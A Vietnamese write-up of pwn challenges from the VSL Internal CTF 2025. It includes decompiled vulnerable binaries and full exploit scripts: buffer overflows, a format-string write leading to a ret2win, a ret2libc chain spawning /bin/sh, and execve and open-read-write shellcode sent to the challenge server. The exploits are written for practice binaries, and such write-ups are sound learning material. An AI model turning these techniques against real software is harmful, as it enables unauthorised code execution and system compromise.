VSL_PWN

Tản mạn

Vậy là cũng đã hết Tết, sau một thời gian lười dài ơi là dài thì mình quyết định bắt đầu viết full write up cho giải VSL Internal CTF 2025 được tổ chức bởi VKU. Trong giải này mình đã may mắn được tham gia cùng các anh chị EHC, và cùng nhau được top 2

alt text

Dưới đây sẽ là phần giải của mình cho tất cả những bài pwn mình làm được, kèm theo lời giải thích ngắn gọn

Challenges

Beginner

1
[*] '/home/alter/CTFs/VSL/Beginner/bofbegin'
2
    Arch:       i386-32-little
3
    RELRO:      Full RELRO
4
    Stack:      Canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
    Stripped:   No

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char s[12]; // [esp+4h] [ebp-28h] BYREF
4
  char v5[12]; // [esp+10h] [ebp-1Ch] BYREF
5
  int v6; // [esp+1Ch] [ebp-10h]
6
  unsigned int v7; // [esp+20h] [ebp-Ch]
7
  int *p_argc; // [esp+24h] [ebp-8h]
8

9
  p_argc = &argc;
10
  v7 = __readgsdword(0x14u);
11
  v6 = GUEST_ID;
12
  printf("Enter username: ");
13
  fflush(stdout);
14
  gets(s);
15
  printf("Enter password: ");
16
  fflush(stdout);
17
  gets(v5);
18
  if ( !strcmp(s, "admin") )
19
  {
20
    if ( v6 == ROOT_ID )
21
    {
22
      puts("Welcome, root!");
23
      fflush(stdout);
24
      system("/bin/sh");
25
    }
26
    else
27
    {
28
      if ( v6 == GUEST_ID )
29
        puts("Welcome, guest!");
30
      else
31
        puts("Nice try, but you are not root!");
32
      fflush(stdout);
33
    }
34
  }
35
  else
36
  {
37
    printf("Welcome, %s!\n", s);
38
    fflush(stdout);
39
  }
40
  return 0;
41
}

Dựa vào IDA ta thấy được đây là một bài Buffer Overflow đơn giản khi những gì ta cần chỉ là cho v6 bằng ROOT_ID, khi check kĩ .data hơn thì mình thấy ROOT_ID được khai báo với giá trị 1337. Và đây là exploit của mình cho bài này:

1
#!/usr/bin/python3
2
from pwncus import *
3
from time import sleep
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./bofbegin', checksec=False)
7

8
def GDB(): gdb.attach(p, gdbscript='''
9

10

11
c
12
''') if not args.REMOTE else None
13

14
if args.REMOTE:
15
    con = sys.argv[1:]
16
    p = remote(con[0], int(con[1]))
17
else:
18
    p = process(argv=[exe.path], aslr=False)
19
set_p(p)
20
if args.GDB: GDB(); input()
21

22
# ===========================================================
23
#                          EXPLOIT
24
# ===========================================================
25

26
def exploit():
27

28
    pl = b'A'*0xc + p32(1337)
29

30
    sl(b'admin')
31
    sl(pl)
32

33
    interactive()
34

35
if __name__ == '__main__':
36
    exploit()

Interesting Functions

1
[*] '/home/alter/CTFs/VSL/Interesting_Functions/chall'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

Một bài khá hay về Buffer Overflow và Format String, hãy cùng xem IDA xem nó có những gì:

main():

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char s; // [rsp+0h] [rbp-110h] BYREF
4
  char v5[267]; // [rsp+1h] [rbp-10Fh] BYREF
5
  int v6; // [rsp+10Ch] [rbp-4h] BYREF
6

7
  memset(&s, 0, 0x101uLL);
8
  setbuf(stdin, 0LL);
9
  setbuf(stdout, 0LL);
10
  setbuf(stderr, 0LL);
11
  menu();
12
  while ( 1 )
13
  {
14
    while ( 1 )
15
    {
16
      printf("> ");
17
      if ( (unsigned int)__isoc99_scanf("%d%*c", &v6) != 1 )
18
        return 1;
19
      if ( v6 != 3 )
20
        break;
21
      if ( s )
22
      {
23
        puts("You only have one chance to print string");
24
      }
25
      else
26
      {
27
        printf(v5);
28
        s = 1;
29
      }
30
    }
31
    if ( v6 > 3 )
32
      break;
33
    if ( v6 == 1 )
34
    {
35
      get_data();
36
      strcpy(v5, g_buf);
37
    }
38
    else
39
    {
40
      if ( v6 != 2 )
41
        return 0;
42
      get_data();
43
      strcat(v5, g_buf);
44
    }
45
  }
46
  return 0;
47
}

get_data():

1
char *get_data()
2
{
3
  printf("data: ");
4
  return fgets(g_buf, 256, stdin);
5
}

win():

1
int win()
2
{
3
  int result; // eax
4
  char buf[108]; // [rsp+0h] [rbp-70h] BYREF
5
  int fd; // [rsp+6Ch] [rbp-4h]
6

7
  fd = open("flag.txt", 0, 0LL);
8
  result = pwd;
9
  if ( pwd == 4919 )
10
  {
11
    read(fd, buf, 0x64uLL);
12
    return puts(buf);
13
  }
14
  return result;
15
}

Nhìn sơ qua thì tưởng chừng không có Buffer Overflow nhưng khi để ý kĩ thì ta thấy flow của chương trình sẽ là:

Cho ta chọn các options
Nếu 1 thì sẽ nhận input của ta thông qua hàm get_data(), và rồi sử dụng strcpy() để copy data đó vào buf (là phần được khai báo trên stack)
Nếu 2 thì sẽ nhận input của ta thông qua hàm get_data(), và rồi sử dụng strcat() để copy data đó vào buf (là phần được khai báo trên stack)
Nếu là 3 thì sẽ in ra input mà ta nhập nhưng chỉ được sử dụng một lần

Nhưng đặt biệt ở đây là chương trình sử dụng strcpy và strcat, điều nguy hiểm ở đây là strcpy sẽ copy dữ liệu của ta và sẽ không quan tâm đến kích thước của đoạn dữ liệu mà nó copy cho đến khi nó gặp NULL BYTE, nhưng vì ở đây hàm fgets được set input size là 256 nên nó chỉ sẽ copy được 256 byte dữ liệu của ta. Nhưng bên cạnh đó ta có thể sử dụng thêm strcat để nốt chuỗi, strcat sẽ nối chuỗi sau mà ta nhập vào nơi có kí tự kết thúc hay NULL mà nó bắt gặp, ghi đè nó, và khi nối xong nó sẽ thêm NULL vào cuối của đoạn data đó. Nên ở bài này idea của mình sẽ là dùng strcpy và strcat để thực hiện Buffer Overflow và bên cạnh đó sử dụng Format String ở option 3 (printf(v5)), để thay đổi giá trị của pwd ban đầu được khai báo ở .bss thành 4919.

1
#!/usr/bin/python3
2
from pwncus import *
3
from time import sleep
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./chall', checksec=False)
7

8

9
def GDB(): gdb.attach(p, gdbscript='''
10

11
b*main+238
12
b*main+279
13
b*main+316
14
c
15
''') if not args.REMOTE else None
16

17
if args.REMOTE:
18
    con = sys.argv[1:]
19
    p = remote(con[0], int(con[1]))
20
else:
21
    p = process(argv=[exe.path], aslr=False)
22

23
if args.GDB: GDB(); input()
24

25
# ===========================================================
26
#                          EXPLOIT
27
# ===========================================================
28

29
'''
30
The strcat() function appends the src string to the dest string,
31
overwriting the terminating null byte ('\0') at
32
the end of dest and then adds a terminating null byte.
33
'''
34

35
'''
36
[*] '/home/alter/CTFs/VSL/Interesting_Functions/chall'
37
    Arch:       amd64-64-little
38
    RELRO:      Partial RELRO
39
    Stack:      No canary found
40
    NX:         NX enabled
41
    PIE:        No PIE (0x400000)
42
    SHSTK:      Enabled
43
    IBT:        Enabled
44
    Stripped:   No
45
'''
46

47
def exploit():
48

49
    # 1. strcpy
50
    # 2. strcat
51
    # 3. printf
52

53
    # Change pwd value
54
    pl = f'%{0x1337}c%9$n'.encode()
55
    pl = pl.ljust(0x17, b'A')
56
    pl += p64(0x4041c0) # pwd
57

58
    sla(b'> ', b'1')
59
    sla(b'data: ', pl)
60
    sla(b'> ', b'3')
61

62
  # Buffer Overflow
63
  # Add NULL byte at the end of the first time
64
    pl = cyclic(255)
65
    sla(b'> ', b'1')
66
    sla(b'data: ', pl)
67

68
    pl = (cyclic_find(b'gaaa') + 2)*b'B' + p64(exe.sym.win)
69
    sla(b'> ', b'2')
70
    sla(b'data: ', pl)
71

72
  # Add NULL byte at the end second time
73
    pl = cyclic(255)
74
    sla(b'> ', b'1')
75
    sla(b'data: ', pl)
76

77
    pl = (cyclic_find(b'gaaa') + 1)*b'C' + p64(exe.sym.win)
78
    sla(b'> ', b'2')
79
    sla(b'data: ', pl)
80

81
  # Add NULL byte at the end third time
82
    pl = cyclic(255)
83
    sla(b'> ', b'1')
84
    sla(b'data: ', pl)
85

86
    pl = cyclic(cyclic_find(b'gaaa')) + p64(exe.sym.win)
87
    sla(b'> ', b'2')
88
    sla(b'data: ', pl)
89

90
  # Break the loop and return to win
91
    sla(b'> ', b'4')
92

93
    interactive()
94

95
if __name__ == '__main__':
96
    exploit()

Ở exploit mình sử dụng strcat như là thứ để đặt NULL byte vào saved rip để reset nó về 0 để ta có thể ghi giá trị mới vào nó, vì nếu ta dùng strcat để nối chuỗi có địa chỉ của hàm win vào thì nó chỉ có thể bị ghi đè 4 bytes cuối và điều này sẽ làm chương trình bị crash.

Present

1
[*] '/home/alter/CTFs/VSL/Present/libpwn'
2
    Arch:       amd64-64-little
3
    RELRO:      Partial RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    Stripped:   No

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char v4[48]; // [rsp+20h] [rbp-30h] BYREF
4

5
  setup((unsigned int)argc, argv, envp);
6
  puts("Hi, Welcome to the pwn challenge!");
7
  puts("This program is just a print function. Bye!");
8
  puts("But wait, I have a present for you!");
9
  printf("%p\n", &fgets);
10
  printf("Please give me your present: ");
11
  gets(v4);
12
  return 0;
13
}

Một bài thể hiện rõ kĩ thuật ret2libc, nên mình không suy nghĩ gì thêm và viết exploit luôn:

1
#!/usr/bin/python3
2
from pwncus import *
3
from time import sleep
4

5
context.log_level = 'debug'
6
exe = context.binary = ELF('./libpwn_patched', checksec=False)
7
libc = ELF('libc.so.6', checksec=False)
8

9
def GDB(): gdb.attach(p, gdbscript='''
10

11
b*main+152
12
c
13
''') if not args.REMOTE else None
14

15
if args.REMOTE:
16
    con = sys.argv[1:]
17
    p = remote(con[0], int(con[1]))
18
else:
19
    p = process(argv=[exe.path], aslr=False)
20

21
if args.GDB: GDB(); input()
22

23
# ===========================================================
24
#                          EXPLOIT
25
# ===========================================================
26

27
def exploit():
28

29
    ru(b'But wait, I have a present for you!\n')
30
    libc.address = hexleak(rl()) - libc.sym.fgets
31
    slog('Libc base',libc.address)
32

33
    pl = cyclic(0x38) + p64(0x0000000000401016) + p64(0x000000000010f75b + libc.address) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym.system)
34
    sla(b'present:', pl)
35

36
    interactive()
37

38
if __name__ == '__main__':
39
    exploit()

asm machine

Ở bài này là một bài shellcode và là một bài khá thú vị đối với cá nhân mình, flow của chương trình chỉ cơ bản là thực thi những đoạn mã assembly mà ta nhập vào nên mình đã không ngần ngại viết một đoạn shellcode để get shell:

1
alter ^ Sol in ~/CTFs/VSL/Present
2
$ nc 61.14.233.78 10004
3
Enter your assembly code (type 'end' to finish):
4
section .text
5
    global _start
6

7
_start:
8
    xor eax, eax
9
    push eax
10
    push 0x68732f2f
11
    push 0x6e69622f
12
    mov ebx, esp
13
    xor ecx, ecx
14
    xor edx, edx
15
    mov eax, 11
16
    int 0x80
17

18
end
19
[!] Compiling and running the assembly code...
20
ls
21
entry.sh
22
main.py
23
cd ..
24
ls
25
app
26
bin
27
boot
28
dev
29
etc
30
flag.txt
31
<...>
32
cat flag.txt
33
VSL{d0d73fb9a4d7e40b0cc6870fc2c4ba67}

Ngoài ra mình có thử shellcode orw xem nó có hoạt động không:

1
alter ^ Sol in ~/CTFs/VSL/Present
2
$ nc 61.14.233.78 10004
3
Enter your assembly code (type 'end' to finish):
4
section .data
5
    filename db '/flag.txt', 0
6

7
section .text
8
    global _start
9

10
_start:
11
    ; open
12
    xor eax, eax
13
    mov ebx, filename
14
    xor ecx, ecx
15
    mov al, 5
16
    int 0x80
17

18
    ; read
19
    mov ebx, eax
20
    xor eax, eax
21
    mov ecx, esp
22
    mov edx, 100
23
    mov al, 3
24
    int 0x80
25

26
    ; write
27
    mov eax, 4
28
    mov ebx, 1
29
    int 0x80
30

31
    xor eax, eax
32
    mov al, 1
33
    xor ebx, ebx
34
    int 0x80
35

36
end
37
[!] Compiling and running the assembly code...
38
VSL{d0d73fb9a4d7e40b0cc6870fc2c4ba67}n��
39
                                        o��o��&o��>o��wo���o���o���o�� @��!��3�
40
[+] Assembly code compiled and run successfully

Ở bài này thì mình không có bị gặp việc end EOF khi thực thi execve nhưng anh mentor của mình thì có 🥹. Nên ta có thể sử dụng syscall getdents để list ra những thứ có trong thư mục đó từ đó tìm đc path đúng của flag và viết shellcode orw cho nó

[WRITE UP] - VSL Internal CTF 2025